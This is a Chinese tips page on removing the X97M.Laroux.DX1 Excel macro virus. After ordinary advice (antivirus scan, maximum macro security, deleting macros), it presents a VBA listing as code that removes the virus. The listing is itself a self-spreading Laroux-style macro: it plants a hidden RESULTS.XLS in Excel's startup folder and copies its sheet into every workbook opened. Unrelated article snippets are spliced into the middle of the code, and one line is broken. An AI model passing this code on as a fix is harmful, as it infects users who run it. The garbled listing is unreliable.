摘要： 一般来说，EXCEL是不容易中毒的，要中毒的话，就会中宏代码的毒。 如果您的EXCEL中了X97M.Laroux.DX1的毒，请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描...
一般来说，EXCEL是不容易中毒的，要中毒的话，就会中宏代码的毒。
如果您的EXCEL中了X97M.Laroux.DX1的毒，请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描全盘文件，然后，进入安全模式再删除相应文件即可。
二、使用EXCEL来解决
①禁止宏运行
将EXCEL的安全级别设置为最高，这样，X97M.Laroux.DX1宏就不能运行了。之后，打开EXCEL，将宏删除即可。
删除方法为：工具→宏→宏→删除。
②使用宏代码删除此毒
删除X97M.Laroux.DX1宏毒的宏代码如下：
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
Excel统计出现次数.个数的VBA代码
Excel统计出现次数.个数的VBA代码 使用如下的VBA代码，您就可以在Excel中，统计某个字符或某个数字，甚至是某个字符串，在某个数据区域范围内，所出现的次数，即出现几次，或称为有几个。 代码如下，是VBA宏代码。 Set myb = CreateObject(
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
excel中的Evaluate用法
excel中的Evaluate用法 excel中的Evaluate函数，不同于普通函数。因为Evaluate是一个宏表函数，所以，不能直接在单元格中使用Evaluate函数。 如果需要使用Evaluate函数，需要先定义后才能使用。 该函数的功能是：把表达式转换为结果。 Evaluate函数的用法： ①用法一 1、选中d2,然后是菜单操作：插入→名称→定义,在对话框中的“在当前工作薄中的名称”处输入一个名称，比如MyNum(随便输入)，在“引用位置”处输入=evaluate(c2),确定。 2、在d2中输
